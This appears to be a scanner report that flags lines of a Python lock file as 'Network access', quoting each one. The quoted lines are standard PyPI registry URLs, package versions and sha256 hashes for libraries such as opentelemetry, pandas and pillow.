    name = "nvidia-nvjitlink" version = "13.3.33" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 961
    version = "13.3.33" source = { registry = "https://pypi.org/simple/" } wheels = [
  • Network accessline 962
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 963
    wheels = [     { url = "https://files.pythonhosted.org/packages/f0/ee/580ca6f29dcab0221db8706badca1bbbb084f1975c4d4e83329c3a7e31f0/nvidia_nvjitlink-13.3.33-py3-none-manylinux2010_x86_64.manylinux_2_12_x86_64.whl", hash = "sha256:26a6de7fb4c
  • Network accessline 964
    { url = "https://files.pythonhosted.org/packages/f0/ee/580ca6f29dcab0221db8706badca1bbbb084f1975c4d4e83329c3a7e31f0/nvidia_nvjitlink-13.3.33-py3-none-manylinux2010_x86_64.manylinux_2_12_x86_64.whl", hash = "sha256:26a6de7fb4c8fdaa7703d3dad7
  • Network accessline 965
    { url = "https://files.pythonhosted.org/packages/69/30/45414e35ff2eee7db3da037e5707037ccf9d2b5218ffbdb055ea4d5aa98a/nvidia_nvjitlink-13.3.33-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:ce48b37dfeb3cb1eae4cf85a
  • Network accessline 969
    name = "nvidia-nvshmem-cu13" version = "3.4.5" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 970
    version = "3.4.5" source = { registry = "https://pypi.org/simple/" } wheels = [
  • Network accessline 971
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 972
    wheels = [     { url = "https://files.pythonhosted.org/packages/dc/0f/05cc9c720236dcd2db9c1ab97fff629e96821be2e63103569da0c9b72f19/nvidia_nvshmem_cu13-3.4.5-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:6dc2a197
  • Network accessline 973
    { url = "https://files.pythonhosted.org/packages/dc/0f/05cc9c720236dcd2db9c1ab97fff629e96821be2e63103569da0c9b72f19/nvidia_nvshmem_cu13-3.4.5-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:6dc2a197f38e5d0376ad52c
  • Network accessline 974
    { url = "https://files.pythonhosted.org/packages/3c/35/a9bf80a609e74e3b000fef598933235c908fcefcef9026042b8e6dfde2a9/nvidia_nvshmem_cu13-3.4.5-py3-none-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:290f0a2ee94c9f3687a02502f
  • Network accessline 978
    name = "nvidia-nvtx" version = "13.0.85" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 979
    version = "13.0.85" source = { registry = "https://pypi.org/simple/" } wheels = [
  • Network accessline 980
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 981
    wheels = [     { url = "https://files.pythonhosted.org/packages/c2/f3/d86c845465a2723ad7e1e5c36dcd75ddb82898b3f53be47ebd429fb2fa5d/nvidia_nvtx-13.0.85-py3-none-manylinux1_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:4936d1d6780fbe68db45
  • Network accessline 982
    { url = "https://files.pythonhosted.org/packages/c2/f3/d86c845465a2723ad7e1e5c36dcd75ddb82898b3f53be47ebd429fb2fa5d/nvidia_nvtx-13.0.85-py3-none-manylinux1_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:4936d1d6780fbe68db454f5e72a42ff64d1
  • Network accessline 983
    { url = "https://files.pythonhosted.org/packages/a8/64/3708a90d1ebe202ffdeb7185f878a3c84d15c2b2c31858da2ce0583e2def/nvidia_nvtx-13.0.85-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:cb7780edb6b14107373c835bf8b72
  • Network accessline 987
    name = "opentelemetry-api" version = "1.44.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 988
    version = "1.44.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 989
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 991
    { name = "typing-extensions" }, ] sdist = { url = "https://files.pythonhosted.org/packages/ee/8b/aa9e2d8b8dfa7c946f7dec5d1f8f6ba8eca062f43509a06bdb5ce93d26c0/opentelemetry_api-1.44.0.tar.gz", hash = "sha256:67647e5e9566edcf421166fdf022b3537
  • Network accessline 992
    ] sdist = { url = "https://files.pythonhosted.org/packages/ee/8b/aa9e2d8b8dfa7c946f7dec5d1f8f6ba8eca062f43509a06bdb5ce93d26c0/opentelemetry_api-1.44.0.tar.gz", hash = "sha256:67647e5e9566edcf421166fdf022b3537f818635daa852b289e34604dc6fb33a"
  • Network accessline 993
    sdist = { url = "https://files.pythonhosted.org/packages/ee/8b/aa9e2d8b8dfa7c946f7dec5d1f8f6ba8eca062f43509a06bdb5ce93d26c0/opentelemetry_api-1.44.0.tar.gz", hash = "sha256:67647e5e9566edcf421166fdf022b3537f818635daa852b289e34604dc6fb33a", 
  • Network accessline 994
    wheels = [     { url = "https://files.pythonhosted.org/packages/ca/6f/a04e900f465ff3221ccc395522503e2d10e79fa21f2723c8e177aae1e0d1/opentelemetry_api-1.44.0-py3-none-any.whl", hash = "sha256:94b98c893a91b88657eaac1e3ba89618cdb85be69181967053
  • Network accessline 995
    { url = "https://files.pythonhosted.org/packages/ca/6f/a04e900f465ff3221ccc395522503e2d10e79fa21f2723c8e177aae1e0d1/opentelemetry_api-1.44.0-py3-none-any.whl", hash = "sha256:94b98c893a91b88657eaac1e3ba89618cdb85be6918196705354f34728b2cdef"
  • Network accessline 999
    name = "opentelemetry-exporter-otlp" version = "1.44.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1000
    version = "1.44.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1001
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1004
    { name = "opentelemetry-exporter-otlp-proto-http" }, ] sdist = { url = "https://files.pythonhosted.org/packages/f2/45/7af37fe54e5d3e66e7dcd7ba8b8aeee73f202bfac909cc94b8c4e428f9ac/opentelemetry_exporter_otlp-1.44.0.tar.gz", hash = "sha256:af
  • Network accessline 1005
    ] sdist = { url = "https://files.pythonhosted.org/packages/f2/45/7af37fe54e5d3e66e7dcd7ba8b8aeee73f202bfac909cc94b8c4e428f9ac/opentelemetry_exporter_otlp-1.44.0.tar.gz", hash = "sha256:af1cde7c33ea8ed624bf04ac49a885730fe44c1f1ad698656e592c3
  • Network accessline 1006
    sdist = { url = "https://files.pythonhosted.org/packages/f2/45/7af37fe54e5d3e66e7dcd7ba8b8aeee73f202bfac909cc94b8c4e428f9ac/opentelemetry_exporter_otlp-1.44.0.tar.gz", hash = "sha256:af1cde7c33ea8ed624bf04ac49a885730fe44c1f1ad698656e592c38f
  • Network accessline 1007
    wheels = [     { url = "https://files.pythonhosted.org/packages/18/c3/7b466a9463944e70b37b744072a0c1b88a425dade3fff0631adec66c9bcc/opentelemetry_exporter_otlp-1.44.0-py3-none-any.whl", hash = "sha256:4a498fa8d8fd8be9e8e2d175fe5524a3fe581ccf
  • Network accessline 1008
    { url = "https://files.pythonhosted.org/packages/18/c3/7b466a9463944e70b37b744072a0c1b88a425dade3fff0631adec66c9bcc/opentelemetry_exporter_otlp-1.44.0-py3-none-any.whl", hash = "sha256:4a498fa8d8fd8be9e8e2d175fe5524a3fe581ccffadd8509db86526
  • Network accessline 1012
    name = "opentelemetry-exporter-otlp-proto-common" version = "1.44.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1013
    version = "1.44.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1014
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1016
    { name = "opentelemetry-proto" }, ] sdist = { url = "https://files.pythonhosted.org/packages/61/09/4d717852c1cf3f854b76c7110a5d00883bc3c99288b9b0dbcbeb9e306eb6/opentelemetry_exporter_otlp_proto_common-1.44.0.tar.gz", hash = "sha256:dc87a5a5
  • Network accessline 1017
    ] sdist = { url = "https://files.pythonhosted.org/packages/61/09/4d717852c1cf3f854b76c7110a5d00883bc3c99288b9b0dbcbeb9e306eb6/opentelemetry_exporter_otlp_proto_common-1.44.0.tar.gz", hash = "sha256:dc87a5a5bc58f149a56d1547e4691588fa12994cdc
  • Network accessline 1018
    sdist = { url = "https://files.pythonhosted.org/packages/61/09/4d717852c1cf3f854b76c7110a5d00883bc3c99288b9b0dbcbeb9e306eb6/opentelemetry_exporter_otlp_proto_common-1.44.0.tar.gz", hash = "sha256:dc87a5a5bc58f149a56d1547e4691588fa12994cdc3b
  • Network accessline 1019
    wheels = [     { url = "https://files.pythonhosted.org/packages/5e/71/65fd9d54c10b860f87c045ccee1264cab7011268895d3528818a29c1172a/opentelemetry_exporter_otlp_proto_common-1.44.0-py3-none-any.whl", hash = "sha256:9a9fe61bba73d802904bc989f1d
  • Network accessline 1020
    { url = "https://files.pythonhosted.org/packages/5e/71/65fd9d54c10b860f87c045ccee1264cab7011268895d3528818a29c1172a/opentelemetry_exporter_otlp_proto_common-1.44.0-py3-none-any.whl", hash = "sha256:9a9fe61bba73d802904bc989f1d6b4a7b1ee40f06c
  • Network accessline 1024
    name = "opentelemetry-exporter-otlp-proto-grpc" version = "1.44.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1025
    version = "1.44.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1026
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1034
    { name = "typing-extensions" }, ] sdist = { url = "https://files.pythonhosted.org/packages/1f/47/80d9e9d468dc5de3af5096f5ccdb065fa4dd1470f74495cc53e59e397f47/opentelemetry_exporter_otlp_proto_grpc-1.44.0.tar.gz", hash = "sha256:40d1ae9e03fc
  • Network accessline 1035
    ] sdist = { url = "https://files.pythonhosted.org/packages/1f/47/80d9e9d468dc5de3af5096f5ccdb065fa4dd1470f74495cc53e59e397f47/opentelemetry_exporter_otlp_proto_grpc-1.44.0.tar.gz", hash = "sha256:40d1ae9e03fcc36de3cbac610cc99f35894938bff9cf
  • Network accessline 1036
    sdist = { url = "https://files.pythonhosted.org/packages/1f/47/80d9e9d468dc5de3af5096f5ccdb065fa4dd1470f74495cc53e59e397f47/opentelemetry_exporter_otlp_proto_grpc-1.44.0.tar.gz", hash = "sha256:40d1ae9e03fcc36de3cbac610cc99f35894938bff9cfd9
  • Network accessline 1037
    wheels = [     { url = "https://files.pythonhosted.org/packages/54/29/6ae42ba32b153ae0a44ae125f0caff2188bbe62d99c82d1768da30864e72/opentelemetry_exporter_otlp_proto_grpc-1.44.0-py3-none-any.whl", hash = "sha256:6a1a645ea182a2f59440c51fa8301
  • Network accessline 1038
    { url = "https://files.pythonhosted.org/packages/54/29/6ae42ba32b153ae0a44ae125f0caff2188bbe62d99c82d1768da30864e72/opentelemetry_exporter_otlp_proto_grpc-1.44.0-py3-none-any.whl", hash = "sha256:6a1a645ea182a2f59440c51fa8301d309f3324a8f9d6
  • Network accessline 1042
    name = "opentelemetry-exporter-otlp-proto-http" version = "1.44.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1043
    version = "1.44.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1044
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1052
    { name = "typing-extensions" }, ] sdist = { url = "https://files.pythonhosted.org/packages/1a/87/95e2a5aaa795b4e2260d74e16df2d5541deb2ea9de010bcd615f4dee2654/opentelemetry_exporter_otlp_proto_http-1.44.0.tar.gz", hash = "sha256:c633d7270ad6
  • Network accessline 1053
    ] sdist = { url = "https://files.pythonhosted.org/packages/1a/87/95e2a5aaa795b4e2260d74e16df2d5541deb2ea9de010bcd615f4dee2654/opentelemetry_exporter_otlp_proto_http-1.44.0.tar.gz", hash = "sha256:c633d7270ad6b57cd4cfbe8b0007a9e2e7c0cb50bd6c
  • Network accessline 1054
    sdist = { url = "https://files.pythonhosted.org/packages/1a/87/95e2a5aaa795b4e2260d74e16df2d5541deb2ea9de010bcd615f4dee2654/opentelemetry_exporter_otlp_proto_http-1.44.0.tar.gz", hash = "sha256:c633d7270ad6b57cd4cfbe8b0007a9e2e7c0cb50bd6c50
  • Network accessline 1055
    wheels = [     { url = "https://files.pythonhosted.org/packages/cd/d0/fdeb1a98d8d3a6205f5f297c51b4a9bfe65126ab60339669bbe3dd54c2e2/opentelemetry_exporter_otlp_proto_http-1.44.0-py3-none-any.whl", hash = "sha256:838592fce774c1c8bb7b9a0a7facb
  • Network accessline 1056
    { url = "https://files.pythonhosted.org/packages/cd/d0/fdeb1a98d8d3a6205f5f297c51b4a9bfe65126ab60339669bbe3dd54c2e2/opentelemetry_exporter_otlp_proto_http-1.44.0-py3-none-any.whl", hash = "sha256:838592fce774c1c8bb7b9a0a7facbfa82e17be5a8a4e
  • Network accessline 1060
    name = "opentelemetry-proto" version = "1.44.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1061
    version = "1.44.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1062
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1064
    { name = "protobuf" }, ] sdist = { url = "https://files.pythonhosted.org/packages/64/01/40ac4ae9a149263cc52c2cee200ddd80cb6d8db1a4610abf8eabce0fe771/opentelemetry_proto-1.44.0.tar.gz", hash = "sha256:c547a79c2f8c0c515d31509154682e5921c7cfd5
  • Network accessline 1065
    ] sdist = { url = "https://files.pythonhosted.org/packages/64/01/40ac4ae9a149263cc52c2cee200ddd80cb6d8db1a4610abf8eabce0fe771/opentelemetry_proto-1.44.0.tar.gz", hash = "sha256:c547a79c2f8c0c515d31509154682e5921c7cfd5ca67b70e1f9266e2c3e103f
  • Network accessline 1066
    sdist = { url = "https://files.pythonhosted.org/packages/64/01/40ac4ae9a149263cc52c2cee200ddd80cb6d8db1a4610abf8eabce0fe771/opentelemetry_proto-1.44.0.tar.gz", hash = "sha256:c547a79c2f8c0c515d31509154682e5921c7cfd5ca67b70e1f9266e2c3e103f3"
  • Network accessline 1067
    wheels = [     { url = "https://files.pythonhosted.org/packages/d1/7c/8be563d68e93bbefa5c8affb82ddcff91b3ad858ce49957ba7b16fd3e0ab/opentelemetry_proto-1.44.0-py3-none-any.whl", hash = "sha256:898b155a0e1557afd867478fb6158e8122a46329ca0bb8dc
  • Network accessline 1068
    { url = "https://files.pythonhosted.org/packages/d1/7c/8be563d68e93bbefa5c8affb82ddcff91b3ad858ce49957ba7b16fd3e0ab/opentelemetry_proto-1.44.0-py3-none-any.whl", hash = "sha256:898b155a0e1557afd867478fb6158e8122a46329ca0bb8dc53cc55e98f017f5
  • Network accessline 1072
    name = "opentelemetry-sdk" version = "1.44.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1073
    version = "1.44.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1074
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1078
    { name = "typing-extensions" }, ] sdist = { url = "https://files.pythonhosted.org/packages/5d/77/a6592cbc7c8d9bcc9d6757a9df45e04a7c585e3e6e7a13456da522b21109/opentelemetry_sdk-1.44.0.tar.gz", hash = "sha256:cebe7f65dc12f26ead75c6064de12fd2a
  • Network accessline 1079
    ] sdist = { url = "https://files.pythonhosted.org/packages/5d/77/a6592cbc7c8d9bcc9d6757a9df45e04a7c585e3e6e7a13456da522b21109/opentelemetry_sdk-1.44.0.tar.gz", hash = "sha256:cebe7f65dc12f26ead75c6064de12fd2a9052e5060c0272d402cfa203aae123b"
  • Network accessline 1080
    sdist = { url = "https://files.pythonhosted.org/packages/5d/77/a6592cbc7c8d9bcc9d6757a9df45e04a7c585e3e6e7a13456da522b21109/opentelemetry_sdk-1.44.0.tar.gz", hash = "sha256:cebe7f65dc12f26ead75c6064de12fd2a9052e5060c0272d402cfa203aae123b", 
  • Network accessline 1081
    wheels = [     { url = "https://files.pythonhosted.org/packages/e7/23/ff077e61886ee020a17ce9c8b6fa11c601c8d8345b09ea24f605445df62a/opentelemetry_sdk-1.44.0-py3-none-any.whl", hash = "sha256:df081c4c6bcfdb1211e3e86140376792643128a25f8d72d1d2
  • Network accessline 1082
    { url = "https://files.pythonhosted.org/packages/e7/23/ff077e61886ee020a17ce9c8b6fa11c601c8d8345b09ea24f605445df62a/opentelemetry_sdk-1.44.0-py3-none-any.whl", hash = "sha256:df081c4c6bcfdb1211e3e86140376792643128a25f8d72d1d27675936e7e96ad"
  • Network accessline 1086
    name = "opentelemetry-semantic-conventions" version = "0.65b0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1087
    version = "0.65b0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1088
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1091
    { name = "typing-extensions" }, ] sdist = { url = "https://files.pythonhosted.org/packages/8f/73/0cbdebcb4cf545fdd328da14f5137e37d0770c3f26185e478b0d15d94f50/opentelemetry_semantic_conventions-0.65b0.tar.gz", hash = "sha256:f9b2b81e9d5b64f1
  • Network accessline 1092
    ] sdist = { url = "https://files.pythonhosted.org/packages/8f/73/0cbdebcb4cf545fdd328da14f5137e37d0770c3f26185e478b0d15d94f50/opentelemetry_semantic_conventions-0.65b0.tar.gz", hash = "sha256:f9b2b81e9d5b64f11bc952075e7e9c7fb0aab075c7fd1c46
  • Network accessline 1093
    sdist = { url = "https://files.pythonhosted.org/packages/8f/73/0cbdebcb4cf545fdd328da14f5137e37d0770c3f26185e478b0d15d94f50/opentelemetry_semantic_conventions-0.65b0.tar.gz", hash = "sha256:f9b2b81e9d5b64f11bc952075e7e9c7fb0aab075c7fd1c46d5
  • Network accessline 1094
    wheels = [     { url = "https://files.pythonhosted.org/packages/a6/0e/49df70d9b81fb5cbae4bbf2a49d865b09bcbcbc4eb53f5851b1027738d78/opentelemetry_semantic_conventions-0.65b0-py3-none-any.whl", hash = "sha256:1cacde7b0ad306f84c5ef08c3dbe1bbaf
  • Network accessline 1095
    { url = "https://files.pythonhosted.org/packages/a6/0e/49df70d9b81fb5cbae4bbf2a49d865b09bcbcbc4eb53f5851b1027738d78/opentelemetry_semantic_conventions-0.65b0-py3-none-any.whl", hash = "sha256:1cacde7b0ad306f84c5ef08c3dbe1bbaf20165bba6f8bff4
  • Network accessline 1099
    name = "optuna" version = "4.9.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1100
    version = "4.9.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1101
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1109
    { name = "tqdm" }, ] sdist = { url = "https://files.pythonhosted.org/packages/f4/aa/05f5e3f662cc96a4c478fc3446b8ed6359825a2b504ecb614a9ac84e4a4d/optuna-4.9.0.tar.gz", hash = "sha256:b322e5cbdf1655fb84c37646c4a7a1f391de1b47806bbe222e015825d0
  • Network accessline 1110
    ] sdist = { url = "https://files.pythonhosted.org/packages/f4/aa/05f5e3f662cc96a4c478fc3446b8ed6359825a2b504ecb614a9ac84e4a4d/optuna-4.9.0.tar.gz", hash = "sha256:b322e5cbdf1655fb84c37646c4a7a1f391de1b47806bbe222e015825d0a82b87", size = 485
  • Network accessline 1111
    sdist = { url = "https://files.pythonhosted.org/packages/f4/aa/05f5e3f662cc96a4c478fc3446b8ed6359825a2b504ecb614a9ac84e4a4d/optuna-4.9.0.tar.gz", hash = "sha256:b322e5cbdf1655fb84c37646c4a7a1f391de1b47806bbe222e015825d0a82b87", size = 48583
  • Network accessline 1112
    wheels = [     { url = "https://files.pythonhosted.org/packages/ab/f3/e5fcd5d9b15771ed6dc10e3a7eeddc672e418f4f4c4653d216cc1d857e2d/optuna-4.9.0-py3-none-any.whl", hash = "sha256:f52f3be6148654850c92a5860d398fd88ec6b2c84ab68d9c3d07dcff02e7af
  • Network accessline 1113
    { url = "https://files.pythonhosted.org/packages/ab/f3/e5fcd5d9b15771ed6dc10e3a7eeddc672e418f4f4c4653d216cc1d857e2d/optuna-4.9.0-py3-none-any.whl", hash = "sha256:f52f3be6148654850c92a5860d398fd88ec6b2c84ab68d9c3d07dcff02e7afee", size = 425
  • Network accessline 1117
    name = "packaging" version = "26.3" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1118
    version = "26.3" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/7d/fa/3944b40b07da9ce895c0e6303a5ab7d53da063554f534556b134a54d6093/packaging-26.3.tar.gz", hash = "sha256:94edc2564
  • Network accessline 1119
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1120
    sdist = { url = "https://files.pythonhosted.org/packages/7d/fa/3944b40b07da9ce895c0e6303a5ab7d53da063554f534556b134a54d6093/packaging-26.3.tar.gz", hash = "sha256:94edc256424af38762eb31306eed28beb9f0efc50a8837492c9d6fd6004aed79", size = 313
  • Network accessline 1121
    wheels = [     { url = "https://files.pythonhosted.org/packages/63/34/ba1c580383c9eada3711951fef0795c80b829a078d72188184bcab9dd527/packaging-26.3-py3-none-any.whl", hash = "sha256:d7193f7c8e4e93f444fde0262bf90af30e16fa0ad0ad44cb553c87339b23
  • Network accessline 1122
    { url = "https://files.pythonhosted.org/packages/63/34/ba1c580383c9eada3711951fef0795c80b829a078d72188184bcab9dd527/packaging-26.3-py3-none-any.whl", hash = "sha256:d7193f7c8e4e93f444fde0262bf90af30e16fa0ad0ad44cb553c87339b23cd1c", size = 1
  • Network accessline 1126
    name = "pandas" version = "3.0.5" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1127
    version = "3.0.5" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1128
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1132
    { name = "tzdata", marker = "sys_platform == 'emscripten' or sys_platform == 'win32'" }, ] sdist = { url = "https://files.pythonhosted.org/packages/be/4f/5f3422a2afec5ffc46308b79e53291365a93748b498ac2e58bead0197916/pandas-3.0.5.tar.gz", has
  • Network accessline 1133
    ] sdist = { url = "https://files.pythonhosted.org/packages/be/4f/5f3422a2afec5ffc46308b79e53291365a93748b498ac2e58bead0197916/pandas-3.0.5.tar.gz", hash = "sha256:dca3734d6ab7c906e6730f0788b0a1dbb9f2467731f9711f77995c8e9d62d712", size = 465
  • Network accessline 1134
    sdist = { url = "https://files.pythonhosted.org/packages/be/4f/5f3422a2afec5ffc46308b79e53291365a93748b498ac2e58bead0197916/pandas-3.0.5.tar.gz", hash = "sha256:dca3734d6ab7c906e6730f0788b0a1dbb9f2467731f9711f77995c8e9d62d712", size = 46582
  • Network accessline 1135
    wheels = [     { url = "https://files.pythonhosted.org/packages/bf/09/7b95c4a0025227d6f118c4039b423412ac6a982db02864166185d812fbc7/pandas-3.0.5-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:c1c05a767fe8e5b4fe9e1c29806829c582052eaedb9
  • Network accessline 1136
    { url = "https://files.pythonhosted.org/packages/bf/09/7b95c4a0025227d6f118c4039b423412ac6a982db02864166185d812fbc7/pandas-3.0.5-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:c1c05a767fe8e5b4fe9e1c29806829c582052eaedb9120a3da83ba3f69
  • Network accessline 1137
    { url = "https://files.pythonhosted.org/packages/8d/0c/dc78fd8c4da477b4b5e8ad37295af352190d21ef63a9ee1bc071753074cc/pandas-3.0.5-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:b86765f268b56f7e665b93bce9d5df69dee7f99e595cf8fb839483ab3159
  • Network accessline 1138
    { url = "https://files.pythonhosted.org/packages/3e/71/3592c055cf44df9808550f9368ceda80ff2b224d355ef73fe251dcda1802/pandas-3.0.5-cp313-cp313-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c597ecf5616b5c420372c1d4d4c00dbb
  • Network accessline 1139
    { url = "https://files.pythonhosted.org/packages/e3/70/4363150359f95b4cb4bcbb34ca23572bb5495749a621a8f3d5a1ddfd293c/pandas-3.0.5-cp313-cp313-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4b11c36e218331d0387cbe3a0a5f751623
  • Network accessline 1140
    { url = "https://files.pythonhosted.org/packages/f7/d0/317e7a0c67c0e69fa905a0161409397a7dc2d46ff611f6ca4803352c042b/pandas-3.0.5-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:cf52e1f61d229496da17dc7ab54acdee627357e7008fd4fecba3d0ba
  • Network accessline 1141
    { url = "https://files.pythonhosted.org/packages/f1/8d/36dade89b49e4f9d5cbdbe863772581f98c0c6d78fc39ad4c557f6f2e17e/pandas-3.0.5-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:db172144bb56422bd157812f3b021eacc255451470b31e2c633c34949
  • Network accessline 1142
    { url = "https://files.pythonhosted.org/packages/9c/ba/18c4ec8a746e177da05a9e7a7963781d8ea195780724f854601b6ebd6b78/pandas-3.0.5-cp313-cp313-win_amd64.whl", hash = "sha256:0d298e951f23016ce4699951d044ae6418dbc91bf68cefca0f77666fcbb4e5c6", s
  • Network accessline 1143
    { url = "https://files.pythonhosted.org/packages/de/ec/28a57266b753799a87b8bc79e7887ac6fd981b8c6d2978a0b7e7b6bd708c/pandas-3.0.5-cp313-cp313-win_arm64.whl", hash = "sha256:66266d3442a5e8b3c90274c2b8b230bee42dd1c286bc822cc2f9f2c7e12b883e", s
  • Network accessline 1147
    name = "pillow" version = "12.3.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1148
    version = "12.3.0" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/1c/3d/bb7fca845737cf9d7dbde16ed1843984665ff2e0a518f5db43e77ec540b9/pillow-12.3.0.tar.gz", hash = "sha256:3b8182a7
  • Network accessline 1149
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1150
    sdist = { url = "https://files.pythonhosted.org/packages/1c/3d/bb7fca845737cf9d7dbde16ed1843984665ff2e0a518f5db43e77ec540b9/pillow-12.3.0.tar.gz", hash = "sha256:3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce", size = 4702
  • Network accessline 1151
    wheels = [     { url = "https://files.pythonhosted.org/packages/9d/ac/31fb64e1e7efb5a4b50cd3d92049ba89ac6e4d8d3bb6a74e15048ca3353e/pillow-12.3.0-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:21900ce7ba264168cd50defae43cd75d25c833
  • Network accessline 1152
    { url = "https://files.pythonhosted.org/packages/9d/ac/31fb64e1e7efb5a4b50cd3d92049ba89ac6e4d8d3bb6a74e15048ca3353e/pillow-12.3.0-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:21900ce7ba264168cd50defae43cd75d25c833ad4ad6e73ffc559
  • Network accessline 1153
    { url = "https://files.pythonhosted.org/packages/87/b4/9805e23d2b4d77842b468513841fda254ee42f0289d25088340e4ff46e2d/pillow-12.3.0-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:4e8c2a84d977f50b9daed6eeaf3baef67d00d5d74d9322
  • Network accessline 1154
    { url = "https://files.pythonhosted.org/packages/df/39/ecf519435a200c693fe053a6ee4d835b41cf963a4dfc2551c4e637cb2a71/pillow-12.3.0-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:ae26d61dfa7a47befdc7572b521024e8745f3d809bd95
  • Network accessline 1155
    { url = "https://files.pythonhosted.org/packages/42/92/2fc3ffad878ae8dd5469ec1bc8eb83b71f48e13efdf68f02709003982a32/pillow-12.3.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:7a743ff716f746fc19a9557f60dab1600d4613255f8a7aeb3cdde4db7
  • Network accessline 1156
    { url = "https://files.pythonhosted.org/packages/10/76/8803c13605b763d33d156c4678fc77f8443389c0c51c8aef707bb02015f4/pillow-12.3.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:d69141514cc30b774ceea5e3ed3a6635c8d8a96edf664689b890f408911
  • Network accessline 1157
    { url = "https://files.pythonhosted.org/packages/1f/01/e18aff37cb0b4aac47ac90f016d347a49aca667ef97f190b06ac2aabc928/pillow-12.3.0-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f7401aebd7f581d7f83a439d87d4749
  • Network accessline 1158
    { url = "https://files.pythonhosted.org/packages/f7/62/de5bdd77d935331f4f802edc11e4d82950f642caad6cb2f949837b8560e2/pillow-12.3.0-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0847a763afefb695bc912d7c131e7e063
  • Network accessline 1159
    { url = "https://files.pythonhosted.org/packages/70/4d/105627a13300c5e0df1d174230b32fd1273062c96f7745fd552b945d1e1d/pillow-12.3.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:571b9fcb07b97ef3a492028fb3d2dc0993ca23a06138b0315286566
  • Network accessline 1160
    { url = "https://files.pythonhosted.org/packages/6b/1d/f13de01a553988ab895ba1c722e06cf3144d4f57656fd5b81b6d881f1179/pillow-12.3.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:756c768d0c9c2955feb7a56c37ea24aea2e369f8d36a88da270b6a9f
  • Network accessline 1161
    { url = "https://files.pythonhosted.org/packages/c9/f9/066794cca041b969964f779ee5fa66a9498bbf34248ac39c5d7954e4198f/pillow-12.3.0-cp313-cp313-win32.whl", hash = "sha256:a876864214e136f0eb367788dbd7df045f4806801518e2cfe9e13229cfe06d8f", size
  • Network accessline 1162
    { url = "https://files.pythonhosted.org/packages/a6/9b/7a58e61d62be561da3a356fe2384d4059a6345fc130e23ef1c36a5b81d24/pillow-12.3.0-cp313-cp313-win_amd64.whl", hash = "sha256:1cca606cd25738df4ed873d5ad46bbdb3d83b5cbca291f6b4ff13a4df6b0bbe8", 
  • Network accessline 1163
